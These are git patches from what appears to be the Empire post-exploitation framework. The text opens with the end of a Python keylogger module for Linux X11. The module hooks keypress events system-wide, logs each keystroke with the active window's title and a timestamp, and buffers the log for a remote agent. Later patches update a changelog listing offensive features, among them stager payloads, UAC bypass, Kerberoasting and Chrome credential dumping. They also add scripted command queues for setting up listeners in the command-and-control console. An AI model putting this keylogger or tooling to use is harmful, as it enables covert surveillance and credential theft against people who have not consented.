+        0x1edd: u'\\u1edd', 0x1ede: u'\\u1ede', 0x1edf: u'\\u1edf', 0x1ee0: u'\\u1ee0', 0x1ee1: u'\\u1ee1',
+        0x1ee2: u'\\u1ee2', 0x1ee3: u'\\u1ee3', 0x1ee4: u'\\u1ee4', 0x1ee5: u'\\u1ee5', 0x1ee6: u'\\u1ee6',
+        0x1ee7: u'\\u1ee7', 0x1ee8: u'\\u1ee8', 0x1ee9: u'\\u1ee9', 0x1eea: u'\\u1eea', 0x1eeb: u'\\u1eeb',
+        0x1eec: u'\\u1eec', 0x1eed: u'\\u1eed', 0x1eee: u'\\u1eee', 0x1eef: u'\\u1eef', 0x1ef0: u'\\u1ef0',
+        0x1ef1: u'\\u1ef1', 0x1ef4: u'\\u1ef4', 0x1ef5: u'\\u1ef5', 0x1ef6: u'\\u1ef6', 0x1ef7: u'\\u1ef7',
+        0x1ef8: u'\\u1ef8', 0x1ef9: u'\\u1ef9', 0x1efa: u'\\u01a0', 0x1efb: u'\\u01a1', 0x1efc: u'\\u01af',
+        0x1efd: u'\\u01b0', 0x1e9f: u'\\u0303', 0x1ef2: u'\\u0300', 0x1ef3: u'\\u0301', 0x1efe: u'\\u0309',
+        0x1eff: u'\\u0323', 0xfe60: u'\\u0323', 0xfe61: u'\\u0309', 0xfe62: u'\\u031b',
+    }.get(ks)
+
+class NotAvailable(Exception):
+    pass
+
+job_message_buffer(str(x11)+' '+str(xi)+'\\n')
+
+daemon = False
+stopped = False
+last_clipboard = ""
+state = set()
+group = 0
+level = 0
+display = None
+x11 = x11
+xi = xi
+
+XkbEventCode = ct.c_int(0)
+XkbErrorReturn = ct.c_int(0)
+XkbMajorVersion = ct.c_int(1)
+XkbMinorVersion = ct.c_int(0)
+XkbReasonReturn = ct.c_int(0)
+
+if x11:
+    display = x11.XkbOpenDisplay(
+        None,
+        ct.pointer(XkbEventCode), ct.pointer(XkbErrorReturn),
+        ct.pointer(XkbMajorVersion), ct.pointer(XkbMinorVersion),
+        ct.pointer(XkbReasonReturn)
+    )
+
+def get_active_window():
+    window = ct.c_ulong()
+    dw = ct.c_int()
+
+    if not ( x11.XGetInputFocus(
+        display, ct.pointer(window), ct.pointer(dw)
+    ) and window ):
+        return
+
+    return window
+
+def get_window_title(window):
+    if not window:
+        return
+
+    hint = ClassHint()
+    if x11.XGetClassHint(display, window, ct.pointer(hint)):
+        return hint.name
+
+def get_window_name(window):
+    prop = XTextProperty()
+    x11.XGetWMName(display, window, ct.pointer(prop))
+    state = ct.c_char_p("WM_STATE")
+    onlyifexist = ct.c_bool(False)
+    atom = x11.XInternAtom(display, state, False)
+    refs = (ct.byref(ct.c_ulong()), ct.byref(ct.c_int()), ct.byref(ct.c_ulong()))
+    buf_len = ct.c_ulong()
+    buf = ct.c_char_p()
+    x11.XGetWindowProperty(display, window, atom, 0, 0, False,
+                                       0, refs[0], refs[1], refs[2],
+                                       ct.byref(buf_len), ct.byref(buf))
+    if buf.value is None:
+        root_return, parent_return, children_return, nchildren_return =  (ct.byref(ct.c_ulong()), ct.pointer(ct.c_ulong()), ct.pointer(ct.c_ulong()),  ct.c_uint())
+        x11.XQueryTree(display, window, root_return, parent_return, children_return, ct.pointer(nchildren_return))
+        x11.XGetWMName(display, parent_return.contents, ct.pointer(prop))
+    return prop.value
+
+
+def get_active_window_title():
+    return get_window_title(get_active_window())
+
+def append_key_buff(k):
+    if k:
+        window = get_active_window()
+        if str(append_key_buff.last_window) != str(window):
+            job_message_buffer("\\n%s: %s\\n"%(strftime("%d-%m-%Y %H:%M:%S"), \
+                                               get_window_name(window)))
+            append_key_buff.last_window = window
+        job_message_buffer(k)
+
+append_key_buff.last_window = None
+
+def poll(callback, sleep_interval=.01):
+    while not stopped:
+        sleep(sleep_interval)
+        released, group, level = fetch_keys_poll()
+        callback(to_keysyms(released, group, level))
+
+def xinput(callback):
+    if not xi:
+        raise NotAvailable()
+
+    xi_opcode = ct.c_int()
+    xi_event = ct.c_int()
+    xi_error = ct.c_int()
+
+    if not x11.XQueryExtension(
+        display,
+        'XInputExtension',
+        ct.pointer(xi_opcode), ct.pointer(xi_event), ct.pointer(xi_error)
+    ):
+        return NotAvailable()
+
+    root_win = x11.XDefaultRootWindow(display)
+    job_message_buffer(str(root_win))
+    eventmask = XiEventMask()
+    eventmask.deviceid = 0
+    eventmask.mask_len = XiMaxLen()
+
+    mask = (ct.c_byte*eventmask.mask_len)()
+    XiSetMask(mask, 2)   # KeyPress
+    eventmask.mask = ct.cast(ct.pointer(mask), ct.c_void_p)
+    xi.XISelectEvents(display, root_win, ct.cast(ct.pointer(eventmask), ct.c_void_p), 1)
+    x11.XMapWindow(display, root_win)
+    x11.XSync(display, 0)
+    while not stopped:
+        event = XEvent()
+        x11.XNextEvent(display, ct.pointer(event))
+        x11.XGetEventData(display, ct.pointer(event.cookie))
+        if event.cookie.type == 35 and event.cookie.extension == xi_opcode.value:
+            xievent = ct.cast(event.cookie.data, ct.POINTER(XIDeviceEvent)).contents
+            callback(to_keysyms(
+                [xievent.detail],
+                xievent.group.effective,
+                xievent.mods.effective
+            ))
+
+        x11.XFreeEventData(display, ct.pointer(event.cookie))
+
+    x11.XDestroyWindow(display, root_win)
+
+def run():
+    try:
+        xinput(append_key_buff)
+    except NotAvailable:
+        job_message_buffer("poll")
+        poll(append_key_buff)
+    except:
+        import traceback
+        job_message_buffer("Exception\\n"+traceback.format_exc())
+
+def stop():
+    stopped = True
+
+def dump():
+    res = u''.join(buffer)
+    buffer = []
+    return res
+
+def fetch_keys_poll():
+    state = XkbState()
+    x11.XkbGetState(display, 0x0100, ct.pointer(state))
+
+    group = ord(state.group)
+    level = ord(state.locked_mods) & 1
+
+    keyboard = ct.c_buffer(32)
+    x11.XQueryKeymap(display, keyboard)
+    current = set()
+
+    for byte, value in enumerate(keyboard):
+        value = ord(value)
+        if not value:
+            continue
+
+        for bit in xrange(8):
+            if value & (1 << bit):
+                current.add(byte*8 + bit)
+
+    released = set(x for x in state if not x in current and x)
+
+    state = current
+    group, group = group, group
+    level, level = level, level
+
+    return released, group, level
+
+def to_keysyms(released, group, level):
+    keys = set()
+
+    for k in set(released):
+        # We incorrectly guess level here, but in 99% real life cases shift means level1
+        # Also some things may not be available in group, so fallback to default one
+        ks = x11.XkbKeycodeToKeysym(display, k, group, level)
+        if not ks:
+            ks = x11.XkbKeycodeToKeysym(display, k, 0, level)
+        if not ks:
+            ks = x11.XkbKeycodeToKeysym(display, k, 0, 0)
+
+        if ((ks >> 8) & 0xFF) == 0xFE or ks in (0xffe2, 0xffe3, 0xffe5, 0xffe6):
+            # Ignore group shifts and shift key info
+            continue
+
+        uks = keysym_to_unicode(ks)
+        xk = keysym_to_XK(ks)
+        if xk:
+            keys.add(u'<{}>'.format(xk))
+        elif uks:
+            keys.add(uks)
+        elif ks:
+            keys.add(u'{{{}}}'.format(ks))
+
+    return u''.join(keys)
+run()
+
+x = 0
+while x < 4:
+    sleep(6)
+    job_message_buffer('test '+str(x)+'\\n')
+    x += 1
+job_message_buffer('[!] Keylogger exited\\n')
+
+"""
+
+        return script

From 97cf473cb78aa0561aee4ea1df6b03cd042e070d Mon Sep 17 00:00:00 2001
From: Chris Ross <chris@xorrior.com>
Date: Thu, 12 Oct 2017 14:58:36 -0400
Subject: [PATCH 03/50] Update changelog

---
 changelog | 43 ++++++++++++++++++++++---------------------
 1 file changed, 22 insertions(+), 21 deletions(-)

diff --git a/changelog b/changelog
index c59d199..be9d61f 100644
--- a/changelog
+++ b/changelog
@@ -1,25 +1,26 @@
-Running
+10/12/2017
 --------
-- Update crontab to work hourly #667
-- Update keylogger to log to disk on server side by @clr2of8 
-- Fix macro launcher #681
-- Fixes vbscript string literal quoting. #702
-- Add option to host a stager payload in the http listener @424f424f
-- Add @enigma0x3 Token Manipulation script as a BypassUAC module @424f424f
-- Hide true host name when using domain fronting #730 @clr2of8
-- Fixed custom proxy config in launcher code #728 @dirkjanm
-- generate_upload function added to Stagers #722 @hightopfade
-- Aes kerberoast #725 @elitest
-- DBX Improvements (SOCKS, Hide window via WindowHandler) #721 @IljaSchumacher
-- Improved ScriptBlock logging bypasses #740 @cobbr_io
-- Slack Integration - Notification for new Agents #737 @dchrastil
-- Improve Get-ChromeDump #734 @ThePirateWhoSmellsOfSunFlowers
-- Fix Eternal Blue Issue #656
-- Merge Invoke-Kerberoast: Print hashes only. Formatting with a text editor is no longer required. #663
-- Fix Macro syntax error per @utkusen issue #664 
-- Fix Better powershell install, obfuscation bug fixes, fixed vbs/macro launchers #686 @cobbr
-- Fix creds manual add parsing with whitespace in password
-- Fix validate length parameter attribute for Invoke-PSInject.ps1d
+- Version 2.2 Master Release
+	- Update crontab to work hourly #667
+	- Update keylogger to log to disk on server side by @clr2of8 
+	- Fix macro launcher #681
+	- Fixes vbscript string literal quoting. #702
+	- Add option to host a stager payload in the http listener @424f424f
+	- Add @enigma0x3 Token Manipulation script as a BypassUAC module @424f424f
+	- Hide true host name when using domain fronting #730 @clr2of8
+	- Fixed custom proxy config in launcher code #728 @dirkjanm
+	- generate_upload function added to Stagers #722 @hightopfade
+	- Aes kerberoast #725 @elitest
+	- DBX Improvements (SOCKS, Hide window via WindowHandler) #721 @IljaSchumacher
+	- Improved ScriptBlock logging bypasses #740 @cobbr_io
+	- Slack Integration - Notification for new Agents #737 @dchrastil
+	- Improve Get-ChromeDump #734 @ThePirateWhoSmellsOfSunFlowers
+	- Fix Eternal Blue Issue #656
+	- Merge Invoke-Kerberoast: Print hashes only. Formatting with a text editor is no longer required. #663
+	- Fix Macro syntax error per @utkusen issue #664 
+	- Fix Better powershell install, obfuscation bug fixes, fixed vbs/macro launchers #686 @cobbr
+	- Fix creds manual add parsing with whitespace in password
+	- Fix validate length parameter attribute for Invoke-PSInject.ps1d
 
 8/28/2017
 --------

From 000f81519d4a97e2eba3ab628b2ea76556ec039b Mon Sep 17 00:00:00 2001
From: Carrie Roberts <@OrOneEqualsOne>
Date: Thu, 12 Oct 2017 14:17:35 -0600
Subject: [PATCH 04/50] initial resource command working, but hard coded

---
 lib/common/empire.py | 72 +++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 71 insertions(+), 1 deletion(-)

diff --git a/lib/common/empire.py b/lib/common/empire.py
index 6d7aa5d..719f718 100644
--- a/lib/common/empire.py
+++ b/lib/common/empire.py
@@ -96,7 +96,7 @@ class MainMenu(cmd.Cmd):
 
         dispatcher.send('[*] Empire starting up...', sender="Empire")
 
-        
+        self.resourceQueue = []
 
         # print the loading menu
         messages.loading()
@@ -271,6 +271,9 @@ class MainMenu(cmd.Cmd):
                     print "       " + helpers.color(str(num_listeners), "green") + " listeners currently active\n"
                     print "       " + helpers.color(str(num_agents), "green") + " agents currently active\n\n"
 
+		    if self.resourceQueue and len(self.resourceQueue) > 0:
+	    		self.cmdqueue = [self.resourceQueue.pop(0)]
+
                     cmd.Cmd.cmdloop(self)
 
 
@@ -377,10 +380,18 @@ class MainMenu(cmd.Cmd):
     # CMD methods
     ###################################################
 
+    def postcmd(self, stop, line):
+	if self.resourceQueue and len(self.resourceQueue) > 0:
+	    self.cmdqueue = [self.resourceQueue.pop(0)]
+
+	
+
     def default(self, line):
         "Default handler."
         pass
 
+    def do_resource(self, line):
+	self.resourceQueue = ["listeners","uselistener http","set Name http81","set DefaultProfile some/default/profile,some/other,and/one/more", "set Host 1.2.3.4","set Port 81","info","execute","back","?","?","agents","back","listeners","uselistener http","set Name http82","set Port 82","execute","listeners","kill http81","kill http82"]
 
     def do_exit(self, line):
         "Exit Empire"
@@ -391,6 +402,8 @@ class MainMenu(cmd.Cmd):
         "Jump to the Agents menu."
         try:
             agents_menu = AgentsMenu(self)
+	    if self.resourceQueue and len(self.resourceQueue) > 0:
+	        agents_menu.cmdqueue = [self.resourceQueue.pop(0)]
             agents_menu.cmdloop()
         except Exception as e:
             raise e
@@ -400,6 +413,8 @@ class MainMenu(cmd.Cmd):
         "Interact with active listeners."
         try:
             listener_menu = ListenersMenu(self)
+	    if self.resourceQueue and len(self.resourceQueue) > 0:
+	        listener_menu.cmdqueue.append(self.resourceQueue.pop(0))
             listener_menu.cmdloop()
         except Exception as e:
             raise e
@@ -416,6 +431,8 @@ class MainMenu(cmd.Cmd):
 
             elif len(parts) == 1:
                 stager_menu = StagerMenu(self, parts[0])
+	        if self.resourceQueue and len(self.resourceQueue) > 0:
+	            stager_menu.cmdqueue.append(self.resourceQueue.pop(0))
                 stager_menu.cmdloop()
             elif len(parts) == 2:
                 listener = parts[1]
@@ -424,6 +441,8 @@ class MainMenu(cmd.Cmd):
                 else:
                     self.stagers.set_stager_option('Listener', listener)
                     stager_menu = StagerMenu(self, parts[0])
+	            if self.resourceQueue and len(self.resourceQueue) > 0:
+	                stager_menu.cmdqueue.append(self.resourceQueue.pop(0))
                     stager_menu.cmdloop()
             else:
                 print helpers.color("[!] Error in MainMenu's do_userstager()")
@@ -441,6 +460,8 @@ class MainMenu(cmd.Cmd):
         else:
             try:
                 module_menu = ModuleMenu(self, line)
+	        if self.resourceQueue and len(self.resourceQueue) > 0:
+	            module_menu.cmdqueue.append(self.resourceQueue.pop(0))
                 module_menu.cmdloop()
             except Exception as e:
                 raise e
@@ -921,6 +942,10 @@ class AgentsMenu(cmd.Cmd):
     def emptyline(self):
         pass
 
+    def postcmd(self, stop, line):
+	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	    nextcmd = self.mainMenu.resourceQueue.pop(0)
+	    self.cmdqueue = [nextcmd]
 
     def do_back(self, line):
         "Go back to the main menu."
@@ -1283,6 +1308,8 @@ class AgentsMenu(cmd.Cmd):
 
         elif len(parts) == 1:
             stager_menu = StagerMenu(self.mainMenu, parts[0])
+	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	        stager_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
             stager_menu.cmdloop()
         elif len(parts) == 2:
             listener = parts[1]
@@ -1291,6 +1318,8 @@ class AgentsMenu(cmd.Cmd):
             else:
                 self.mainMenu.stagers.set_stager_option('Listener', listener)
                 stager_menu = StagerMenu(self.mainMenu, parts[0])
+	        if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	            stager_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
                 stager_menu.cmdloop()
         else:
             print helpers.color("[!] Error in AgentsMenu's do_userstager()")
@@ -1307,6 +1336,8 @@ class AgentsMenu(cmd.Cmd):
         else:
             # set agent to "all"
             module_menu = ModuleMenu(self.mainMenu, line, agent="all")
+	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	        module_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
             module_menu.cmdloop()
 
 
@@ -1419,9 +1450,13 @@ class AgentMenu(cmd.Cmd):
 
         if agentLanguage.lower() == 'powershell':
             agent_menu = PowerShellAgentMenu(mainMenu, sessionID)
+	    if mainMenu.resourceQueue and len(mainMenu.resourceQueue) > 0:
+	        agent_menu.cmdqueue.append(mainMenu.resourceQueue.pop(0))
             agent_menu.cmdloop()
         elif agentLanguage.lower() == 'python':
             agent_menu = PythonAgentMenu(mainMenu, sessionID)
+	    if mainMenu.resourceQueue and len(mainMenu.resourceQueue) > 0:
+	        agent_menu.cmdqueue.append(mainMenu.resourceQueue.pop(0))
             agent_menu.cmdloop()
         else:
             print helpers.color("[!] Agent language %s not recognized." % (agentLanguage))
@@ -1532,6 +1567,9 @@ class PowerShellAgentMenu(cmd.Cmd):
         "Go back a menu."
         return True
 
+    def postcmd(self, stop, line):
+	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
 
     def do_agents(self, line):
         "Jump to the Agents menu."
@@ -1881,6 +1919,8 @@ class PowerShellAgentMenu(cmd.Cmd):
             print helpers.color("[!] Error: invalid module")
         else:
             module_menu = ModuleMenu(self.mainMenu, module, agent=self.sessionID)
+	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	        module_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
             module_menu.cmdloop()
 
 
@@ -1989,6 +2029,8 @@ class PowerShellAgentMenu(cmd.Cmd):
                         module.options['ProcessID']['Value'] = pid
 
                     module_menu = ModuleMenu(self.mainMenu, 'powershell/code_execution/invoke_shellcode')
+	    	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	        	module_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
                     module_menu.cmdloop()
 
                 else:
@@ -2046,6 +2088,8 @@ class PowerShellAgentMenu(cmd.Cmd):
 
                     # jump to the spawn module
                     module_menu = ModuleMenu(self.mainMenu, "powershell/management/spawn")
+	    	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	        	module_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
                     module_menu.cmdloop()
 
                 else:
@@ -2331,6 +2375,9 @@ class PythonAgentMenu(cmd.Cmd):
         "Go back a menu."
         return True
 
+    def postcmd(self, stop, line):
+	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
 
     def do_agents(self, line):
         "Jump to the Agents menu."
@@ -2679,6 +2726,8 @@ class PythonAgentMenu(cmd.Cmd):
             print helpers.color("[!] Error: invalid module")
         else:
             module_menu = ModuleMenu(self.mainMenu, module, agent=self.sessionID)
+	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	        module_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
             module_menu.cmdloop()
 
 
@@ -2839,6 +2888,10 @@ class ListenersMenu(cmd.Cmd):
         "Go back to the main menu."
         raise NavMain()
 
+    def postcmd(self, stop, line):
+	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	    nextcmd = self.mainMenu.resourceQueue.pop(0)
+	    self.cmdqueue = [nextcmd]
 
     def do_agents(self, line):
         "Jump to the Agents menu."
@@ -2893,6 +2946,8 @@ class ListenersMenu(cmd.Cmd):
 
         elif len(parts) == 1:
             stager_menu = StagerMenu(self.mainMenu, parts[0])
+	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	        stager_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
             stager_menu.cmdloop()
         elif len(parts) == 2:
             listener = parts[1]
@@ -2901,6 +2956,8 @@ class ListenersMenu(cmd.Cmd):
             else:
                 self.mainMenu.stagers.set_stager_option('Listener', listener)
                 stager_menu = StagerMenu(self.mainMenu, parts[0])
+	        if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	            stager_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
                 stager_menu.cmdloop()
         else:
             print helpers.color("[!] Error in ListenerMenu's do_userstager()")
@@ -2915,6 +2972,8 @@ class ListenersMenu(cmd.Cmd):
             print helpers.color("[!] Error: invalid listener module")
         else:
             listenerMenu = ListenerMenu(self.mainMenu, parts[0])
+	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	        listenerMenu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
             listenerMenu.cmdloop()
 
 
@@ -3044,6 +3103,9 @@ class ListenerMenu(cmd.Cmd):
         "Go back a menu."
         return True
 
+    def postcmd(self, stop, line):
+	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
 
     def do_agents(self, line):
         "Jump to the Agents menu."
@@ -3286,6 +3348,9 @@ class ModuleMenu(cmd.Cmd):
         "Go back a menu."
         return True
 
+    def postcmd(self, stop, line):
+	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
 
     def do_agents(self, line):
         "Jump to the Agents menu."
@@ -3393,6 +3458,8 @@ class ModuleMenu(cmd.Cmd):
             print helpers.color("[!] Error: invalid module")
         else:
             module_menu = ModuleMenu(self.mainMenu, line, agent=self.module.options['Agent']['Value'])
+	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	        module_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
             module_menu.cmdloop()
 
 
@@ -3655,6 +3722,9 @@ class StagerMenu(cmd.Cmd):
         "Go back a menu."
         return True
 
+    def postcmd(self, stop, line):
+	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
 
     def do_agents(self, line):
         "Jump to the Agents menu."

From 083cffd27e55e7f8a2f9c1b565ee3e273240c4c8 Mon Sep 17 00:00:00 2001
From: Carrie Roberts <@OrOneEqualsOne>
Date: Thu, 12 Oct 2017 14:42:43 -0600
Subject: [PATCH 05/50] cleaner code for resource files, but still hardcoded

---
 lib/common/empire.py | 70 +++++++++++++++++++++-----------------------
 1 file changed, 33 insertions(+), 37 deletions(-)

diff --git a/lib/common/empire.py b/lib/common/empire.py
index 719f718..340579b 100644
--- a/lib/common/empire.py
+++ b/lib/common/empire.py
@@ -392,6 +392,7 @@ class MainMenu(cmd.Cmd):
 
     def do_resource(self, line):
 	self.resourceQueue = ["listeners","uselistener http","set Name http81","set DefaultProfile some/default/profile,some/other,and/one/more", "set Host 1.2.3.4","set Port 81","info","execute","back","?","?","agents","back","listeners","uselistener http","set Name http82","set Port 82","execute","listeners","kill http81","kill http82"]
+	#self.resourceQueue = ["agents","?","?"]
 
     def do_exit(self, line):
         "Exit Empire"
@@ -402,8 +403,6 @@ class MainMenu(cmd.Cmd):
         "Jump to the Agents menu."
         try:
             agents_menu = AgentsMenu(self)
-	    if self.resourceQueue and len(self.resourceQueue) > 0:
-	        agents_menu.cmdqueue = [self.resourceQueue.pop(0)]
             agents_menu.cmdloop()
         except Exception as e:
             raise e
@@ -413,8 +412,6 @@ class MainMenu(cmd.Cmd):
         "Interact with active listeners."
         try:
             listener_menu = ListenersMenu(self)
-	    if self.resourceQueue and len(self.resourceQueue) > 0:
-	        listener_menu.cmdqueue.append(self.resourceQueue.pop(0))
             listener_menu.cmdloop()
         except Exception as e:
             raise e
@@ -431,8 +428,6 @@ class MainMenu(cmd.Cmd):
 
             elif len(parts) == 1:
                 stager_menu = StagerMenu(self, parts[0])
-	        if self.resourceQueue and len(self.resourceQueue) > 0:
-	            stager_menu.cmdqueue.append(self.resourceQueue.pop(0))
                 stager_menu.cmdloop()
             elif len(parts) == 2:
                 listener = parts[1]
@@ -441,8 +436,6 @@ class MainMenu(cmd.Cmd):
                 else:
                     self.stagers.set_stager_option('Listener', listener)
                     stager_menu = StagerMenu(self, parts[0])
-	            if self.resourceQueue and len(self.resourceQueue) > 0:
-	                stager_menu.cmdqueue.append(self.resourceQueue.pop(0))
                     stager_menu.cmdloop()
             else:
                 print helpers.color("[!] Error in MainMenu's do_userstager()")
@@ -460,8 +453,6 @@ class MainMenu(cmd.Cmd):
         else:
             try:
                 module_menu = ModuleMenu(self, line)
-	        if self.resourceQueue and len(self.resourceQueue) > 0:
-	            module_menu.cmdqueue.append(self.resourceQueue.pop(0))
                 module_menu.cmdloop()
             except Exception as e:
                 raise e
@@ -938,6 +929,10 @@ class AgentsMenu(cmd.Cmd):
                 self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
             self.stdout.write("\n")
 
+    def cmdloop(self):
+	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	cmd.Cmd.cmdloop(self)
 
     def emptyline(self):
         pass
@@ -1308,8 +1303,6 @@ class AgentsMenu(cmd.Cmd):
 
         elif len(parts) == 1:
             stager_menu = StagerMenu(self.mainMenu, parts[0])
-	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	        stager_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
             stager_menu.cmdloop()
         elif len(parts) == 2:
             listener = parts[1]
@@ -1318,8 +1311,6 @@ class AgentsMenu(cmd.Cmd):
             else:
                 self.mainMenu.stagers.set_stager_option('Listener', listener)
                 stager_menu = StagerMenu(self.mainMenu, parts[0])
-	        if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	            stager_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
                 stager_menu.cmdloop()
         else:
             print helpers.color("[!] Error in AgentsMenu's do_userstager()")
@@ -1336,8 +1327,6 @@ class AgentsMenu(cmd.Cmd):
         else:
             # set agent to "all"
             module_menu = ModuleMenu(self.mainMenu, line, agent="all")
-	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	        module_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
             module_menu.cmdloop()
 
 
@@ -1450,18 +1439,13 @@ class AgentMenu(cmd.Cmd):
 
         if agentLanguage.lower() == 'powershell':
             agent_menu = PowerShellAgentMenu(mainMenu, sessionID)
-	    if mainMenu.resourceQueue and len(mainMenu.resourceQueue) > 0:
-	        agent_menu.cmdqueue.append(mainMenu.resourceQueue.pop(0))
             agent_menu.cmdloop()
         elif agentLanguage.lower() == 'python':
             agent_menu = PythonAgentMenu(mainMenu, sessionID)
-	    if mainMenu.resourceQueue and len(mainMenu.resourceQueue) > 0:
-	        agent_menu.cmdqueue.append(mainMenu.resourceQueue.pop(0))
             agent_menu.cmdloop()
         else:
             print helpers.color("[!] Agent language %s not recognized." % (agentLanguage))
 
-
 class PowerShellAgentMenu(cmd.Cmd):
     """
     The main class used by Empire to drive an individual 'agent' menu.
@@ -1492,6 +1476,10 @@ class PowerShellAgentMenu(cmd.Cmd):
         # listen for messages from this specific agent
         dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any)
 
+    def cmdloop(self):
+	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	cmd.Cmd.cmdloop(self)
 
     # def preloop(self):
     #     traceback.print_stack()
@@ -1919,8 +1907,6 @@ class PowerShellAgentMenu(cmd.Cmd):
             print helpers.color("[!] Error: invalid module")
         else:
             module_menu = ModuleMenu(self.mainMenu, module, agent=self.sessionID)
-	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	        module_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
             module_menu.cmdloop()
 
 
@@ -2029,8 +2015,6 @@ class PowerShellAgentMenu(cmd.Cmd):
                         module.options['ProcessID']['Value'] = pid
 
                     module_menu = ModuleMenu(self.mainMenu, 'powershell/code_execution/invoke_shellcode')
-	    	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	        	module_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
                     module_menu.cmdloop()
 
                 else:
@@ -2088,8 +2072,6 @@ class PowerShellAgentMenu(cmd.Cmd):
 
                     # jump to the spawn module
                     module_menu = ModuleMenu(self.mainMenu, "powershell/management/spawn")
-	    	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	        	module_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
                     module_menu.cmdloop()
 
                 else:
@@ -2327,6 +2309,10 @@ class PythonAgentMenu(cmd.Cmd):
         if results:
             print "\n" + results.rstrip('\r\n')
 
+    def cmdloop(self):
+	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	cmd.Cmd.cmdloop(self)
     # def preloop(self):
     #     traceback.print_stack()
 
@@ -2726,8 +2712,8 @@ class PythonAgentMenu(cmd.Cmd):
             print helpers.color("[!] Error: invalid module")
         else:
             module_menu = ModuleMenu(self.mainMenu, module, agent=self.sessionID)
-	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	        module_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
+##	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+##	        module_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
             module_menu.cmdloop()
 
 
@@ -2865,6 +2851,11 @@ class ListenersMenu(cmd.Cmd):
         # display all active listeners on menu startup
         messages.display_active_listeners(self.mainMenu.listeners.activeListeners)
 
+    def cmdloop(self):
+	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
+	    self.cmdqueue = [self.mainMenu.resourceQueue.pop(0)]
+	cmd.Cmd.cmdloop(self)
+
     # def preloop(self):
     #     traceback.print_stack()
 
@@ -2946,8 +2937,6 @@ class ListenersMenu(cmd.Cmd):
 
         elif len(parts) == 1:
             stager_menu = StagerMenu(self.mainMenu, parts[0])
-	    if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	        stager_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
             stager_menu.cmdloop()
         elif len(parts) == 2:
             listener = parts[1]
@@ -2956,8 +2945,6 @@ class ListenersMenu(cmd.Cmd):
             else:
                 self.mainMenu.stagers.set_stager_option('Listener', listener)
                 stager_menu = StagerMenu(self.mainMenu, parts[0])
-	        if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	            stager_menu.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
                 stager_menu.cmdloop()
         else:
             print helpers.color("[!] Error in ListenerMenu's do_userstager()")
@@ -2972,8 +2959,6 @@ class ListenersMenu(cmd.Cmd):
